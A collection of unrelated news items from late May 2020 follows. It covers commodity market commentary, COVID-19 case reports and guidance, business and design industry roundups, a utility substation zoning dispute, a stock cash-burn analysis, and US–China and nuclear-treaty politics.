The important outside markets see the U.S. dollar index solidly up early today on safe-haven demand. Nymex crude oil prices are sharply lower and trading around $32.50 a barrel. The yield on the benchmark U.S. Treasury 10-year note is currently around 0.67%.

There is no major U.S. economic data due for release Friday.

Technically, the gold bulls have the solid overall near-term technical advantage amid an uptrend on the daily bar chart. Bulls next upside price objective is to produce a close in June futures above solid resistance at the April high of $1,788.80. Bears' next near-term downside price objective is pushing futures prices below solid technical support at $1,666.20. First resistance is seen at the overnight high of $1,742.00 and then at $1,750.00. First support is seen at this weeks low of $1,715.30 and then at $1,700.00. Wyckoff's Market Rating: 7.5

July silver futures bulls have the solid overall near-term technical advantage with the recent big gains. Silver bulls' next upside price objective is closing prices above solid technical resistance at the February high of $19.07 an ounce. The next downside price breakout objective for the bears is closing prices below solid support at $16.50. First resistance is seen at $18.00 and then at this weeks high of $18.165. Next support is seen at the overnight low of $17.19 and then at $17.00. Wyckoff's Market Rating: 7.5.
San Francisco, May 22 : Microsoft President Brad Smith has raised questions over whether Bluetooth-based contact tracing technology can be adopted on a broad and meaningful scale worldwide.

On Wednesday, Apple and Google announced to release their Exposure Notifications System (or contact tracing technology) to help public health agencies make their Bluetooth-based COVID-19 apps effective while protecting user privacy. About 23 countries on five continents have requested and received access to the application programming interface (API), with more expected to join in the coming weeks.

In an interaction with MIT Computer Science and Artificial Intelligence Laboratory Director Daniela Rus, Smith expressed skepticism that this technology could be adopted at a meaningful scale.

"Not everyone is going to walk around with an app on their phone. I think we should recognise that it is a tool, and not a panacea," Smith was quoted as saying in the virtual discussion.

In March, Microsoft developed a chatbot to help people determine if they might need a Covid-19 test.

Within weeks of deploying the app at a hospital in Seattle, Washington, the company started rolling it out more broadly.

The chatbot was ultimately used 190 million times in April, and is now available at 1,500 institutions across 23 countries, according to the MIT report.

On work-from-home scenario, Smith said: "There are a lot of benefits to working from home, but it certainly also adds a level of unpredictability." While Twitter has given an option for its employees to work from home forever, Facebook said its half of its workforce can work from home in the next 5-10 years.

-- The story has been published from a wire feed without any modifications to the text
From significant business changes to noteworthy product launches, theres always something new happening in the world of design. In this weekly roundup, AD PRO has everything you need to know.

Business

J.C. Penney: Struggling Department Storeand Burgeoning Real Estate Company?

J.C. Penney delivered some surprising news this week by announcing the divestiture of its real estate assets. As such, it plans to form a publicly traded real estate investment trust. The move will hopefully help improve the financial situation of the department store, which recently filed for Chapter 11 bankruptcy.

Home Depot Sees Coronavirus-Fueled Sales Increase

Elsewhere in the land of retail, Home Depot released its first-quarter results this week. The home improvement store, which has been named an essential business throughout the country during the pandemic, saw sales rise 7.1% in the first quarter of its fiscal year. At the same time, the average sale size was up 11% over last year, according to Home Textiles Today. While net earnings were down to $2.2 billion from $2.5 billion in the same period last year, the surge of recent sales comes as a piece of good news for the retailer.

New E-Comm Platform Delivers a Palm Springs Aesthetic

Palm Springs interior designer and brick-and-mortar shop owner Christopher Kennedy, known for his Modernism Week show house, is launching an e-commerce platform this week. We are always fielding requests to shop online when our visitors return home, Christopher Kennedy, the shop owner and lead designer, said in a statement. Our clientele lives all over the U.S. and looks forward to their yearly escapes. At the start of the new decade, I committed myself to launching e-commerce as an extension of our brand, and the ability to launch in four quick months was largely made possible due to COVID-19 and my sudden lack of scheduled commitments. Were now shipping a slice of sunshine and happiness to the clients and visitors we miss so much. Among the goods: decor, furniture, lighting, artwork (including Kennedys line with Wendover Art Group), and more. His boutique plans to reopen in the summer.

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Fairs

Offsight Online Debuts

This week, online design destination Sight Unseen took its fan-favorite fair, Offsite, totally online for the first time ever. Running May 18 through June 12, the digital design fair features new furniture and objects from 57 designers and brands, from AD-dubbed Ones to Watch like Soft Geometry and Tantuvi to other exciting newcomers including Winston Cuevas and Elise McMahon. Digital presentations feature images of each designers work, a written description of the pieces, and an audio clip from the designer, explaining their process and inspirations. All works will be for sale via 1stdibs, adding a commercial element to the show that we can only imagine is much appreciated in these uncertain times. For the next four weeks, Sight Unseen editors will post related content programming on their site and social channels, as well as on Dezeens Virtual Design Fair to expand the depth of their offerings.

High Point Expands Fall Dates in Response to COVID-19

High Point Market will now take place over nine days, October 1321, in an effort to address the impact of COVID-19 by spread[ing] out attendance and account[ing] for expected reduced capacity requirements for showrooms and buildings, the High Point Market Authority announced in a statement this week. Industry professionals and buyers will be required to select one of three three-day periods during the market as their primary attendance dates during online registration; other measures include ramped-up sanitation and cleaning efforts, social distancing, and increased medical services.

We anticipate less restrictive guidelines for large gatherings this fall, but the need for increased safety measures will still exist. Although we have over 11 million square feet spread over 13 city blocks, likely allowing us to have upwards of 50,000 attendees on any given day, we want to be overly cautious and stay below that maximum each day so all guests feel safe and comfortable attending and visiting their favorite showrooms, said Tom Conley, president and CEO of HPMA, in the statement.

Frieze Proves Coronavirus Wont Freeze Its Business

Friezes first virtual fair has wrapped, with some surprisingly positive results. As reported by the New York Times, the event may have felt subdued, but nevertheless it brought in some steady figures. (Of particular note was a George Condo painting that Hauser & Wirth sold for $2 million.) While some regular participants missed the usual buzz and the chance to mingle, others found that there were clear benefits: Gallerists could reach a geographically wider audience while saving booth-installation costs. And instead of being pulled in a million directions, they could communicate to potential buyers from the comfort of their own homes. Its the most civilized way to hold an art fair ever, Boris Vervoordt, a gallerist and son of AD100 designer Axel Vervoordt, commented to the Times. Youre home. Theres a nice thing about the slowness of it. You create an intimacy you never get at a fair. Its very calm in that way.

Good Works

Bed Bath & Beyond to Make Donation Worth $10 Million to Support COVID-19 Relief

Bed Bath & Beyond is stepping up to donate $10 million worth of products to communities impacted by the coronavirus pandemic. The program, titled Bringing Home Everywhere, has been created in response to the fact that reportedly half of all nonprofits are currently in search of home goods. The retailer will deliver home products, as well as those intended for babies and personal care, to those in need.

DIFFA Is Providing COVID-19 Support To Those With HIV/AIDS

Design Industry Foundation Fighting AIDS (DIFFA) and the ASID Design Impacts Lives Fund are teaming up to help support six organizationsAli Forney Center, Callen-Lorde Community Health Center, Gods Love We Deliver, GMHC, Hetrick-Martin Institute, and Housing Works (Bailey House)with emergency funding in light of the COVID-19 crisis. Greg Wersching, director of Project Management of Housing Works, which has developed a telehealth program, as well as two new clinic sites in response to the crisis, explains, Most people Housing Works serves face co-morbiditiesconsequently, all are at heightened risk of COVID-19 infection, and those infected are at risk of severe complications or even death. Social distancing measures present challenges for our population, as interruptions to primary care, substance use treatment, and HIV prevention can be just as risky.

Photo: Courtesy of Eskayel

See the video.

Product Launches

A Fabric and Some New Furniture Make Their Digital Debuts

In product news this week, Eskayel debuted a Hamptons Toile, called Out East. ( Im always interested in taking whats considered traditional types of patterns and making them more contemporary with my inky style, Eskayel founder Shanan Campanaro tells AD PRO. These scenes were painted at my new house in the Springs this past winter, using a small traveling water color set. It was a new medium for me, as I usually use ink and a lot of water in my studio.) Also of note, Thonet is out with new products, including its Solden Chair and Suzenne Sofa. And last, but not least, Poltrona Frau released its own new offerings, which were previously intended to debut at Salone del Mobile. During a virtual press preview, the companys CEO explained the new offerings, as well as their enticing color palettes.

Awards

Professional Designers Can Apply for These Newly Announced IFDA Grants

The International Furnishings and Design Association, or IFDA, is awarding grants for pros in the industry. These professional grants meet a variety of important objectives, including helping people expand their horizons and enhance their skills and education, said Gail Belz, FIFDA, chairman of the Board of the Educational Foundation of IFDA, in a statement. Open to professionals working in the interior design or furnishings-related fields, the grants will open for applications starting June 1. There are five total and include concentrations in historic preservation, universal design, and other interests and areas of continued study. There are also grants available for IFDA chapters, to support educational programming, such as webinars, as well as communications and marketing projects.

Hires

Mark Ferguson Named to University Architecture Post

Mark Ferguson, founder of AD100 Ferguson & Shamamian Architects, has been named head of the Catholic University of Americas Architecture and Planning School. The architect, who graduated with a bachelors degree in architecture from Carnegie-Mellon and a masters in architecture from Princeton, oversees a firm of 90 focused on private residence design. He has previously served as a visiting critic at the University of Miami and has taught at the Rhode Island School of Design. As a practitioner, I have had the privilege of coaching many young architects, helping them grow into mature professionals, key members of our business organization, and valued contributors to the communities we serve, Ferguson said in a statement. With the support of a university community driven by a clear sense of purpose, the school will provide a solid foundation, second to none, for young architects to make the world a more humane and beautiful place.

Originally Appeared on Architectural Digest
Carluccio's on Waterside in Stratford-upon-Avon

Stratfords popular Italian restaurant Carluccios has been rescued from the brink of closure it was announced this week.

Carluccios Limited had 70 restaurants around the UK. After going into administration on 30th March, 40 of the branches have been closed, with the loss of 1,000 jobs. However 30 branches, including Stratford and Leamington, have been bought by Boparan Restaurant Group and will open once lockdown is lifted. A total of 800 employees are being retained.

BRG looks after a number of well-known brands including Cinnamon, Fishworks, Slim Chickens, Giraffe and Eds Easy Diner.

Phil Reynolds, Joint Administrator and Partner at FRP, said: The Covid-19 lockdown has put incredible pressure on businesses across the leisure sector, so it has been important to work as quickly and as decisively as possible in an extremely challenging business environment to secure a sale, which ensures the future of the Carluccios brand in the UK casual dining scene, retains a significant network of sites across the country and, critically, transfers a considerable number of jobs. We wish the team all the best as part of the Boparan Restaurant Group.

Satnam Leihal, Managing Director of BRG commented: We welcome Carluccios colleagues to BRG. This acquisition is in line with our strategy to grow our restaurant group with quality brands. Whilst it is an extremely challenging time for the sector, we believe quality hospitality businesses will recover in the long term as people return to eating out.

Antonio Carluccio, left, opened the first branch of Carluccios in 1999. It was sold to an investment company a decade or so later. Antonio died in 2017 aged 80. He inspired many young chefs over the years, including most famously Jamie Oliver.
BETHLEHEM  National Grid is hopeful that the town of Bethlehem's zoning and planning boards will approve a controversial $15 million substation that the utility wants to build on Van Dyke Road in Delmar, near the high school and Eagle Elementary.

National Grid's project manager and an attorney representing the company spoke about the need for the project with the town's zoning board on Wednesday via a Zoom conference call. The town's various boards are all meeting via teleconference due to the coronavirus pandemic.

It has been five years since National Grid last pitched the project to the zoning board, which must grant a zoning variance in order for the plans to be sent to the planning board for approval as well.

Back in 2015, the project faced opposition from parents at Eagle Elementary who were worried about the electric magnetic field that the substation would create. The substation would be built just down the road from Eagle and across the street from the high school and the school district's bus garage.

National Grid has tried to reassure parents that the electric magnetic field would not go beyond the property line of the substation, which would tap into a transmission line that runs overhead. National Grid has owned the land, located next to a farm, since the 1960s.

Andrew Leja, an attorney from Barclay Damon who represents National Grid, said after five years, a lot has changed in Bethlehem, including housing growth that puts new demands on the power grid.

"We asked the board to appear once again because this board is made up of all new members," Leja said. "We thought that it was important to reintroduce the project to the board and the community again."

The zoning board is likely to hold a public hearing on the project again due to the amount of time that had lapsed since the project was last in front of the board in 2015. The project could be put on the agenda for the zoning board's late June meeting, although any vote on the zoning variance would likely take place later.

If the zoning board grants the variance, the project would then be required to get planning board approval for its site plan as well.

Leja said National Grid is anxious to get the town approvals done because the project itself takes 18 to 24 months to complete.

Joe Stadelmeyer, National Grid's project manager for the substation, told the zoning board the project is needed to keep up with development in the town and so that National Grid can retire two smaller substations nearby that are inadequate.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

In the past, National Grid has argued that the new substation was needed to provide electricity to the Vista Technology Campus in Slingerlands, which had at one time landed a solar installation firm as a tenant. But that company, Monolith Solar, has since abandoned the project amid financial woes.

No other companies have committed to building their operations in the Vista business park, which was once envisioned as a landing spot for technology firms, except for some retailers and doctors offices.

National Grid did not mention the Vista Technology Park in its talk with the zoning board Wednesday, although Stadelmeyer said the new substation was needed to match the housing growth in Bethlehem and keep the electric system reliable. He said the new substation would reduce the number of outages and the length.

One zoning board member, Jane Barnes, said she would recuse herself from deliberating and voting on the substation. She did not say why she needed to take that step, but back in 2015, as a vice president of the Eagle Elementary PTO, Barnes was a major critic of the substation.

There are no studies that say 100 percent these substations are safe, and I dont want our children to be guinea pigs, Barnes was quoted by the Spotlight newspaper during a 2015 public information session held by National Grid.
The Asante Mampong Municipality has recorded its first COVID-19 case.

Mr Thomas Appiah Kubi, Municipal Chief Executive told journalists at Mampong that, the case which involved a resident of Daaho, was confirmed at the Municipal Government Hospital.

He did not give further details, except to say that, the patient had been transferred to Kumasi, while people who had come in close contact with the patient had been identified and quarantined.

Asante Mampong has been working hard to prevent an outbreak of the virus in the Municipality by ensuring that residents adhere strictly to all the preventive protocols outlined by the government and the Ghana Health Service.

Weekly markets in the Municipality have also been temporary shutdown as part of measures to prevent the importation of the virus into the Municipality.

However, with the confirmation of the first case, the Assembly will have to intensify public education, improve surveillance and contact tracing and encourage the people to observe the social distancing protocols, especially in the markets.

---GNA
Even when a business is losing money, it's possible for shareholders to make money if they buy a good business at the right price. For example, biotech and mining exploration companies often lose money for years before finding success with a new treatment or mineral discovery. Nonetheless, only a fool would ignore the risk that a loss making company burns through its cash too quickly.

So should Pharmacolog i Uppsala (STO:PHLOG B) shareholders be worried about its cash burn? For the purposes of this article, cash burn is the annual rate at which an unprofitable company spends cash to fund its growth; its negative free cash flow. The first step is to compare its cash burn with its cash reserves, to give us its 'cash runway'.

Check out our latest analysis for Pharmacolog i Uppsala

Does Pharmacolog i Uppsala Have A Long Cash Runway?

A cash runway is defined as the length of time it would take a company to run out of money if it kept spending at its current rate of cash burn. Pharmacolog i Uppsala has such a small amount of debt that we'll set it aside, and focus on the kr12m in cash it held at March 2020. Importantly, its cash burn was kr14m over the trailing twelve months. That means it had a cash runway of around 11 months as of March 2020. To be frank, this kind of short runway puts us on edge, as it indicates the company must reduce its cash burn significantly, or else raise cash imminently. The image below shows how its cash balance has been changing over the last few years.

OM:PHLOG B Historical Debt May 22nd 2020

How Is Pharmacolog i Uppsala's Cash Burn Changing Over Time?

In our view, Pharmacolog i Uppsala doesn't yet produce significant amounts of operating revenue, since it reported just kr2.3m in the last twelve months. As a result, we think it's a bit early to focus on the revenue growth, so we'll limit ourselves to looking at how the cash burn is changing over time. With the cash burn rate up 9.2% in the last year, it seems that the company is ratcheting up investment in the business over time. That's not necessarily a bad thing, but investors should be mindful of the fact that will shorten the cash runway. Admittedly, we're a bit cautious of Pharmacolog i Uppsala due to its lack of significant operating revenues. We prefer most of the stocks on this list of stocks that analysts expect to grow.

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How Hard Would It Be For Pharmacolog i Uppsala To Raise More Cash For Growth?

While its cash burn is only increasing slightly, Pharmacolog i Uppsala shareholders should still consider the potential need for further cash, down the track. Companies can raise capital through either debt or equity. Commonly, a business will sell new shares in itself to raise cash to drive growth. By comparing a company's annual cash burn to its total market capitalisation, we can estimate roughly how many shares it would have to issue in order to run the company for another year (at the same burn rate).

Since it has a market capitalisation of kr65m, Pharmacolog i Uppsala's kr14m in cash burn equates to about 21% of its market value. That's not insignificant, and if the company had to sell enough shares to fund another year's growth at the current share price, you'd likely witness fairly costly dilution.

Is Pharmacolog i Uppsala's Cash Burn A Worry?

We must admit that we don't think Pharmacolog i Uppsala is in a very strong position, when it comes to its cash burn. While its cash burn relative to its market cap wasn't too bad, its cash runway does leave us rather nervous. Summing up, we think the Pharmacolog i Uppsala's cash burn is a risk, based on the factors we mentioned in this article. Separately, we looked at different risks affecting the company and spotted 6 warning signs for Pharmacolog i Uppsala (of which 4 are concerning!) you should know about.

If you would prefer to check out another company with better fundamentals, then do not miss this free list of interesting companies, that have HIGH return on equity and low debt or this list of stocks which are all forecast to grow.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
FAIRFAX, VA  The city of Fairfax is honoring members of the class of 2020 at Fairfax High School as their final semester, disrupted by the coronavirus crisis, near its end. The city of Fairfax Schools, together with the Rotary Club of Fairfax, has put up signs and banners to congratulate the graduating seniors at Fairfax High School.

"Their strength, resilience, and commitment amazes us and we want to spread that to all of Fairfax City!" Fairfax City said on its Facebook page.



Dozens of signs with the names of graduating seniors were placed on Fairfax Boulevard (Route 50) near the Rebel Run entrance to Fairfax High School. The Rotary Club sponsored two city of Fairfax banners  one in Old Town and the other at Rebel Run and Route 50  to congratulate the high school's class of 2020.

On March 23, Virginia Gov. Ralph Northam on Monday ordered K-12 schools, both public and private, to remain closed for the rest of the academic year in an attempt to minimize the spread of the coronavirus.



The city of Fairfax Schools is gathering feedback from students, parents and staff on the best option for graduation ceremonies with the concept of creating an ideal graduation experience without putting parents, students and schools staffers health at risk.



Signs with the names of Fairfax High School seniors honor the class of 2020 on Route 50 outside the entrance to the school. (Michael O'Connell/Patch)

Ayla Wells, the mother of a son who is graduating from Fairfax High School, said it has been "very heartbreaking as a parent to see my son's senior year disappear."

"No sports, no prom, and no graduation," Wells said in an email to Patch. "I think its fantastic that the school, senior parents from the All Night Grad Committee, and the city are trying so hard to honor our seniors in whatever small ways they can."

Wells said her family is looking forward to Fairfax High Schools "drive-thru" cap-and-gown event on June 15 and is hopeful there will be an actual graduation ceremony in the fall.

For its part, the Rotary Club has supported the city of Fairfax schools for years, including sponsoring the banners for the class of 2020. "We found this a great way to congratulate the seniors," Paula Kelley, public image chair for the Rotary Club of Fairfax, said in an email to Patch.

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Kelley said that Barry Gordon, president-elect of the Rotary Club of Fairfax, led the service organization's effort to honor Fairfax High School's seniors.



The Rotary Club has given scholarships to Fairfax High School seniors for years. This year, the Rotary Club gave five scholarships to Fairfax High School seniors. The organization, which sponsors a high school level Rotary Club called the Interact Club, also awarded a Teacher of the Year award to Anna Weaver, a social studies teacher at Fairfax High School.

"We know that you are strong, to have weathered this current pandemic, and we know you are resilient," Kelley sent to Patch as a message for the graduating seniors. "We wish you the best in your future endeavors."

Patch editor Michael O'Connell assisted in the reporting of this story.



This article originally appeared on the Fairfax City Patch
CDC Updates Guidance on Ending Home Isolation as Lockdowns Ease

As the country continued its cautious re-emergence from a pandemic-linked shutdown over the past week, the Centers for Disease Control and Prevention (CDC) updated its guidelines for how to end home isolation.

People who stayed home due to infection with COVID-19, the disease caused by the Chinese Communist Party (CCP) virus, commonly known as the novel coronavirus, can leave home under a number of conditions, as stipulated by the health agency.

Those who have not been tested for the virus to check if theyre contagious or not can leave home if they meet three conditions: one, no fever for at least 72 hoursbut naturally, not due to fever-reducing medication; two, a visible reduction in other symptoms like coughing or shortness of breath; and three, at least ten days have passed since the first onset of symptoms.

People who have taken a COVID-19 test can leave their homes if they meet the following three conditions: one, no fever for at least 72 hoursbut naturally, not due to fever-reducing medication; two, a visible reduction in other symptoms like coughing or shortness of breath; and three, two negative COVID-19 tests in a row, at least 24 hours apart.

Asymptomatic individuals who at one point tested positive for COVID-19 but have not taken a test to check if theyre still contagious can leave their homes under the following two conditions: one, at least ten days have passed since their first positive COVID-19 test; and two, they continue to have no symptoms, like cough or shortness of breath.

Those with no symptoms who at one point tested positive for COVID-19 and have taken another test to check if theyre contagious can leave their homes once they have had two negative COVID-19 tests in a row, at least 24 hours apart.

The agency notes that in all cases, people should follow the advice of their doctor and local health authorities.

All 50 states have eased restrictions put in place to try and blunt the spread of the virus, but new rules vary widely.

Across the world, many governmentseven those where the virus is still on the risesay they must shift their focus to saving jobs that are vanishing as quickly as the disease can spread.

In the United States and China, the worlds two largest economies, unemployment is soaring.

The Federal Reserve chairman has estimated that as many as 1 in 4 Americans could be jobless, while in China analysts estimate around a third of the urban workforce is unemployed.

Meanwhile, the virus is roaring through countries ill-equipped to handle the pandemic, which many scientists fear will seed the embers of a second global wave of infections.
Islamabad, May 22 : The number of confirmed COVID-19 cases in Pakistan has increased to 50,694 with 1,067 deaths, the Health Ministry said in its latest update on Friday.

A total of 2,603 new cases and 50 deaths were reported in the last 24 hours, Xinhua news agency quoted the Ministry as saying.

Overall, 34,426 patients are under treatment in hospitals, while 15,201 have recovered completely, which is 30 per cent of the total confirmed cases.

Sindh province is the most affected region with 19,924 cases followed by Punjab province with 18,455 cases.

Khyber Pakhtunkhwa province reported 7,155 cases, with 365 deaths.

At least 3,074 cases have been reported in southwestern Balochistan province, 1,326 in the capital city Islamabad, and 602 in northern Gilgit-Baltistan region.

Sindh recorded 336 deaths, followed by Punjab where 310 infected people have lost their lives, the Ministry said, adding that Pakistan has conducted 445,987 tests officially so far.

The Pakistani government started to ease the lockdown from May 9, aiming at mitigating the influence of the COVID-19 outbreak and the lockdown on the labour class and the poor in the country.

Domestic flight operations and train services in Pakistan have also been resumed partially.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
The deadly coronavirus came from China and the US is not going to take it lightly, President Donald Trump said.

"It came from China. We are not happy about it. We just signed a trade deal, the ink wasn't dry and all of the sudden this floated in. We are not going to take it lightly, Trump said participating in a Listening Session with African-American Leaders in Michigan.

Trump in the last several weeks has been very critical of China's inability to control the spread of the novel coronavirus within its territory. By Thursday more than 94,000 Americans have died due to the coronavirus and over 1.6 million have tested positive.

He has so far not given any indication of the steps that he is contemplating taking against China.

Meanwhile, pressure is building on his administration, mainly from the Republican lawmakers on this.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

On Thursday, Senators Ted Cruz and Rick Scott, along Mike Braun, Marsha Blackburn, Joni Ernst, Martha McSally and Tom Cotton, introduced the COVID-19 Vaccine Protection Act to prevent the Chinese Communist Party from stealing or sabotaging American COVID-19 vaccine research.

The bill requires a thorough national security evaluation and clearance by the Department of Homeland Security, the Department of State, and the Federal Bureau of Investigation of all Chinese student visa holders taking part in activities related to COVID-19 vaccine research.

"The same Chinese Communist Party that covered up the coronavirus outbreak also routinely engages in state sponsored theft of intellectual property," Cruz said. "We cannot allow China to steal or interfere with American research and development of a vaccine, he added.

"Communist China is responsible for the coronavirus pandemic, and their lies and misinformation cost American lives," Scott said.

"We cannot let Communist China off the hook for this, and we absolutely cannot allow Communist China to steal or sabotage any American research efforts related to the Coronavirus vaccine. The COVID-19 Vaccine Protection Act protects American efforts to create a vaccine as we work to end this pandemic," he added.

The COVID-19 Vaccine Protection Act, among others requires an enhanced vetting of nationals of the Chinese nationals in the US as nonimmigrants under F, J, or M student visas to determine if any student visa holders are a national security threat.

Once the review is complete, authorizes Department of Homeland Secretary, in consultation with other agencies, to continuously monitor all nonimmigrant student visa holders (F, M, J) who are Chinese nationals while in the US and are engaged in, or have access to, the research of any potential COVID-19 vaccine or COVID-19 related material.

Republican Whip and Ranking Member of the Select Subcommittee on the Coronavirus Crisis Steve Scalise alleged that China lied to the world on coronavirus.

"During a critical period in December and January, China withheld evidence of the virus: evidence that confirmed human to human transmission of the virus, evidence of the extent of the spread. China refused entry of American and other medical experts from around the world for weeks, he said.

And during this time, China hoarded medical supplies like masks, gowns, and other life-saving PPE. Chinese exports of surgical masks, gowns, and gloves were stifled by the Chinese Communist Party during this period. China knew the danger posed by the virus and while they hid the truth, they used the time to stock up on vital medical supplies, Scalise said.

While Chinese authorities limited domestic flights from Wuhan to other Chinese cities like Beijing and Shanghai, China's government urged international carriers to maintain their flight schedules  seeding the virus throughout the rest of the world, he alleged.
The Tripura government declared to reschedule papers of Class 10 and 12 board examinations that were postponed earlier due to COVID-19 lockdown. These postponed exams would begin from June 05.

The board examinations of Class 10 New Course syllabus were over earlier. Only few subjects of Class 10 and Class 12 Old Syllabus were left due to COVID-19 lockdown. We are planning to start those remaining examinations from June 5. All the examinations will start from 12 PM and continue till 3:15 PM, Education Minister Ratan Lal Nath told the mediapersons at Civil Secretariat on Thursday late evening.

There were 27,142 candidates enrolled for the Class 12 or higher secondary examinations. Of the total, 8,749 candidates would appear for the remaining exams at total 58 centres. For these Class 12 candidates, the TBSE would conduct Sanskrit and Statistics examinations on June 05, Economics on June 06, Psychology on June 08, Arabic and Music on June 09, Geography on June 10 and Home Management and Home Nursing and Nutrition on June 11.

 We will sanitize the centres before commencement of the exams and social distance will be maintained in these centres. Only one centre has fallen under Red Zone. We will shift it to another centre outside the red zone, he told.

Out of total 39,917 Class 10 candidates, 309 would appear for the remaining examinations including Physical Science on June 05 and Life Science on June 06. These examinations would be conducted in total 60 centres.

The Class 12 and 10 examinations were started from March 2 and 3.

Referring to complaints received regarding fees of private-run schools in the state, the minister said that he requested the private schools not to hike schools fees and take initiatives for fee-relaxation for the students in the crisis period.

I have asked the private schools to write to me about their initiatives they have taken. So far, I got reports from 34 schools where they have agreed to give relaxation in tuition fees and school bus fares, said Nath.

There are total 309 private schools with enrollment of nearly one lakh students. Nearly 5,000 teachers are serving in these schools.
US Mulls Extension of New START, Seeks 'Gentleman's Agreement' With Russia, Report Claims

Sputnik News

03:41 GMT 21.05.2020

The New Strategic Arms Reduction Treaty (START), the only agreement limiting the number of nuclear weapons in Russia and the US to remain in effect, is set to expire in 2021, as the Trump administration keeps avoiding the extension, insisting instead that China must also take part.

The White House is planning to prolong the New START treaty by several months, pursuing the combined goals of keeping the agreement in force, limiting the nuclear arms extension for both countries and encouraging China to join the agreement, Politico reported, citing unnamed administration officials.

Under US President Donald Trump's alleged plan, the decision will postpone the expiration of the New START treaty and add time to negotiate new limits on nuclear weapons with both Moscow and Beijing. Some have expressed concern, however, that the goal appears unrealistic and could lead to a nuclear arms race if treaty negotiations fail.

An unnamed official described by Politico as one who "closely tracks nuclear policy" said that while the official deal is unlikely to happen, "they wanted at least a gentleman's agreement", that would not be "a binding legal document".

"I don't think anybody ever thought they were going to get an official deal but they wanted at least [a] gentleman's agreement. The administration could seek a "one-year or two-year extension of the treaty while they get something  a gentleman's agreement is probably too light, I think they wanted something in writing. But it wouldn't be a binding legal document. I think it would just be in principle", the unnamed official said.

Some remain optimistic about the idea of "buying time" to negotiate amendments to the agreement, as does Jon Wolfsthal, a former National Security Council member and currently a senior adviser to the disarmament group Global Zero.

"A six-month extension to buy yourself some time to negotiate something new with the Russians  and call on the Chinese to join  inherently isn't bad. It might be a way to square the circle  if you can also be sure that the next administration has the leeway to extend [New START] more", Wolfsthal said to Politico.

"Time buying" can only last to February 2021, when the only remaining bilateral nuclear treaty between the two countries is set to expire. Amid the upcoming deadline, Russia has expressed its desire for the treaty to remain in effect and repeatedly invited the US to extend the agreement with no preconditions. Russian Foreign Minister Sergey Lavrov on Tuesday said that Moscow is waiting for the Trump White House to offer a date for the video call promised by the US to discuss arms control issues.

Washington, however, has protracted the extension, demanding that China be a part of the agreement.

China has refused to enter any trilateral agreement with Russia and the US, insisting that it is up to Moscow and Washington to fulfil the obligations to reduce the amount of nuclear weapon, so that conditions for other countries to join can be created.

"The new START treaty remains the only important document in the field of nuclear weapons between Russia and the US and attracts a lot of attention. China has no intention to join any trilateral arms control talks", Chinese Foreign Ministry spokesman Zhao Lijian said.

After the collapse of the Intermediate-Range Nuclear Forces Treaty in 2019, caused by the Trump administration unilaterally exiting the agreement and claiming that Russia had broken it, the New START remains the only Russian-US nuclear arms control treaty is currently in force.

Trump previously terminated a 2015 Obama-era nuclear deal with Iran, causing concern that the current US president will allow the New START to expire, which, according to some experts, could lead to a full-blown nuclear arms race between Moscow and Washington.

A Sputnik

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The International Advertising Association (IAA) has named Anant Goenka Executive Director- The Indian Express Group, and Mancom Member IAA India Chapter as the recipient of its 2020 "Young Leader Compass Award".

The IAA Compass Awards were set up to recognize IAA members for their leadership and outstanding service and contribution to the IAA ad the Marcom industry.

The IAA Young Leader Compass Award "recognizes individual Young Professionals who are significantly contributing leadership and services in the Young Professionals arena and creating dynamics in the marketing communications industry."

Says Punit Goenka, President of the IAA India Chapter, "It is a matter of pride for us in the India Chapter and in the Marcom industry in India that our member has been selected for this signal honor. I wish Anant all the best".

The award was to be presented at the IAA World Congress St.Petersburg, but since that has been postponed, the presentation details would be communicated soon.
Chittenango, N.Y.  Nearly half of the residents at The Grand Rehabilitation and Nursing home in Chittenango and eight staff members have tested positive for the coronavirus, a company vice president said.

Madison County also has reported two more deaths in connection with Covid-19, one on Wednesday and another Thursday, both of them have been linked to The Grand, an 80-bed facility at 133 Russell St. in the village. The county now reports 10 coronavirus-related deaths.

A comprehensive round of testing for the virus conducted Monday by the state Department of Health revealed about 46 cases, according to Bruce Gendron, vice president for The Grand Healthcare System, a company that manages about 16 health care facilities statewide.

Gendron attributed the spike in cases to the new test results.

"We were not testing people who were asymptomatic (not showing symptoms)," he said. "That's what caused the big spike."

Gendron said he could not confirm the people who died this week in Madison County were residents at The Grand. He said the people did not die at the facility.

The latest state numbers, updated Wednesday, report no Covid-19 deaths in Madison County nursing homes.

READ MORE: Madison County Covid-19 dashboard

A spike in new cases at the facility in late April brought The Grand under closer scrutiny by the state health department, which regulates nursing homes and receives all of the initial reports whenever someone tests positive for coronavirus.

Theyre not investigating the nursing home, Gendron said of the state involvement. It is not adversarial at all.

The state sent an inspection team to do an unannounced survey at The Grand in early May, and no deficiencies in the staff's isolation or treatment techniques were found, he said.

Gendron said the nursing home currently has 26 active cases and just three of those are actively showing symptoms of the virus. In addition, eight staff members are now positive with Covid-19 and one private medical contractor have tested positive. About five residents from the facility are currently hospitalized, he said.

